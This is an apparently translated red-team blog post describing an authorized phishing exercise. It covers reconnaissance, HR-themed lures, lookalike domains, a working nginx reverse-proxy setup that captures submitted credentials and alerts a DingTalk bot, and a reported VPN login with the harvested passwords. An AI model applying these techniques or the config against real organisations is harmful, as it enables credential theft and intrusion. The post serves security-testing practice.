記録した以前のフィッシング。
以前、甲方が演習を行い、攻撃手法に制限がなく、一般的にはハードに侵入することが多いが、今回はフィッシングについて書くことにした。
とても簡単で、すべて基本的な内容で、軽くスプレーする。
0x01 なぜフィッシングを行うのか#
通常、ネットワーク保護や高度な侵入プロジェクトにおいて、ターゲットは確実に何度もテストを行っているため、外部からポイントを見つけるのは難しい。
しかし、フィッシングが許可されている場合、人の習慣的行動には安全リスクの要因がはるかに大きいことが多い。
従業員は不確実性に満ちており、これも EDR やウイルス対策が保証できない部分である。
この記事はメールフィッシングについてであり、もちろんメールフィッシング以外にも USB フィッシング、Wi-Fi 近接フィッシング、ソーシャルツールフィッシングなどの方法があり、具体的にどの方法でフィッシング演習を行うかは、ターゲットの実際の状況に応じて、特定の計画を設計する必要がある。
0X02 情報収集#
フィッシング活動の前に、誰が誰で、誰が魚であるかを明確にする必要がある。一般的には特定の個別ターゲットを対象としない限り、ほとんどが一斉送信であり、情報収集が必要である。
収集する必要がある情報は:
- 名前
- 職務
- 携帯電話
- メール情報
その中で最も重要なのはメール情報であり、以下のいくつかの場所から情報を取得することをお勧めする:
その中でメール検索はドメインからメール情報を取得できる。
どの手段を使用してメール情報を取得したとしても、重複排除と生存確認の 2 つのステップが必要である。
生存確認については多くのサービスプロバイダーがこのサービスを提供しているため、詳しくは言及しない。
今回のケースでは、事前のメール情報収集は行わず、脆弱性を利用してターゲットの連絡先を取得し、職務と部門に基づいて餌を準備した。
0x02 餌の準備#
ターゲットが確定した後、次は餌の準備である。餌の選択肢は多く、一般的なターゲットと餌は以下の通り:
- 休暇通知:これは全員対象で、攻撃者が偽装する角度は HR である必要がある。
- 給与調整通知:これは特定の人または部門を対象にでき、実際の成功率は非常に高く、偽装する角度も HR または部門マネージャーである必要がある。
- ビジネス協力交渉通知:この攻撃面は市場運営または特定の人を対象にする必要があり、偽装する角度は外部の連絡先である。
- 通報資料:あまり使用しないことをお勧めする。大企業には反腐敗部門があり、この部門の情報は公開されていることが多い。攻撃者は特定のリーダーや部門に関するネガティブな情報を捏造するだけで済む。
私は開かないものを見たことがない、これは彼らの職務である。このフィッシングを利用すると、成功することが多いが、事後の影響は特に深刻で、実際には謝罪の報道があるケースも少なくない。
フィッシングはあなたにフィッシングをさせるものであり、噂を立てて騒ぎを起こさせるものではない
全体的に見て、何を利用するにしても、結局は人の心理を利用するものであり、タイトルが巧妙であれば、人を引き付けてクリックさせることができれば成功である。
0x03 魚釣りフックの制作#
魚釣りフックを制作する前に、2 つのことを考える必要がある:
- 特定の人の PC 権限を取得するのか?
考えるべきこと:
- PC 権限を取得するには実行ファイルを実行する必要があるが、その前に相手が使用しているウイルス対策ソフトを理解しているか?
- あなたが制作した EXE は、異なる Windows バージョン / 環境で実行できるか?
- できるだけ多くのパスワードを取得するのか?
- できるだけ多くのパスワードを取得する場合、大規模な一斉送信が必要であり、比較的敏感な部門では、チャンスは一度きりかもしれない。取得したパスワードは何に使う予定か?
フィッシングは権限またはパスワードを取得することに過ぎず、この 2 つの異なる方向から得られる収益は往々にして異なる。権限はもちろん最も早いが、ウイルス対策を考慮する必要がある。パスワードは収益が少ないかもしれないが、動きは小さい。
0x04 フィッシングページの準備#
上記の添付ファイルフィッシングを除いて、非常に簡単で、相手に添付ファイルをクリックさせる方法を考えるだけである。一般的にはメールに直接添付されており、暗号化された圧縮ファイルを利用してメールゲートウェイの検出を回避する。
検出が厳しい場合、添付ファイルを個別にブロックすることがあるため、例えば添付ファイルを別のウェブサイトにアップロードし、ターゲットに自発的にダウンロードさせる必要がある。
重要なのは、フィッシングページは顧客のシステムに合わせて偽装する必要があり、外部の方法では oa、mail、VPN などのページを模倣することをお勧めする。
内部の場合、二次フィッシングを展開する場合は、ターゲットの内部の重要なシステムを偽装することをお勧めする。例えば、ナレッジベース、堡塁機、コードリポジトリなどのページ。
最終的にどの方法を採用するにしても、ターゲットの感知をできるだけ減らす必要がある。
紹介はここまでで、次は実践ケースに入る。
0x05 実践#
その前に、仲間はすでに連絡先を取得しており、前期の下見を経て、外部のメールシステムを見つけ、外部の VPN システムも発見した。
私の考えは、できるだけ多くのパスワードを取得し、VPN に衝突させることである。
nginx のリバースプロキシを利用して彼らのページを取得し、ログを監視するだけでアカウントとパスワードを取得できる、コストのかからない利用方法。
server {
listen 80;
server_name example.com; # フィッシングサイトのドメインに置き換える必要があります
access_log /var/log/nginx/access.log;
location / {
proxy_pass http://phishing-site.com; # フィッシングサイトの実際のURLに置き換える必要があります
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# ユーザーの訪問情報を記録
access_log /var/log/nginx/phishing.log;
# ユーザーの訪問情報をDingTalkロボットにプッシュ
post_action @notify;
}
location @notify {
internal;
proxy_pass https://oapi.dingtalk.com/robot/send?access_token=YOUR_ACCESS_TOKEN; # DingTalkロボットのアクセストークンに置き換える必要があります
proxy_set_header Content-Type application/json;
proxy_set_header charset utf-8;
proxy_method POST;
# DingTalkロボットにプッシュする内容、ユーザーの訪問情報を含む
proxy_set_body '
{
"msgtype": "text",
"text": {
"content": "ユーザーがフィッシングサイトにアクセスしました:$host\nアクセスIP:$remote_addr\nアクセス時間:$time_local"
}
}
';
}
}
上記はリバースプロキシの設定であり、DingTalk ロボットに通知することで、ログを常に監視する必要がなくなる。
テンプレートを整えた後、餌の計画を開始した。私が選んだ餌は非常にシンプルで、罰則通知の一部である。具体的には以下の通り:
ここでのメールサーバーは、近いドメインを購入して行ったもので、ターゲットが baidu.com の場合、購入したドメインは baldu.com で、メールの件名は hrm @baldu.com である。
青い部分はハイパーリンクで、実際にはリバースプロキシ後のアドレスを指している。
行動規則に基づいて作成した罰則報告書を作成し、添付ファイルには会社の行動規則の PDF とターゲットグループの名前とメールアドレスを含めた。
約 30 人を選択して一斉に送信し、3 回ほど送信した。
効果は非常に良く、約二三十のアカウントとパスワードを取得し、いくつかの従業員のアカウントとパスワードを利用して VPN システムに成功裏にログインした。画像はもう表示しない
0x06 考察#
フィッシングとソーシャルエンジニアリングは一つの芸術であり、純粋なフィッシングとソーシャルエンジニアリングでターゲットを突破した大物を見たことがあるが、彼らが示す心理的素質とさまざまなアイデンティティの切り替えは非常に熟練している。
この記事は単純な引用に過ぎず、水坑攻撃ははるかに高度で、数え切れないほどの利用方法が存在する。
コードはターゲットの環境に合わせて作成する必要があり、ターゲットの重要なシステムが携帯電話の確認コードを設定している場合、彼が正しい確認コードを入力した後、迅速にこちらに戻すにはどうすればよいか?
もし相手が常にあなたのログイン口を爆破し、間違った情報を入力している場合、雑多なデータをフィルタリングする必要があるのではないか?
もし非常に薄っぺらなもので、ターゲットがあなたのページにログインしようとしてもなかなか入れない場合、アカウントとパスワードが正しいかどうかを判断し、正しい場合は 302 リダイレクトを行ってターゲットの注意を引かないようにすることができるのではないか?
この方面で学ぶべきことは確かにまだ多い。打点?フィッシングの方が良い.jpg
0x07 脱線#
脱線した話を思い出すが、ある時ブルーチームにフィッシングされたことがあり、非常に面白かった。
機会があればこのことについて書きたい。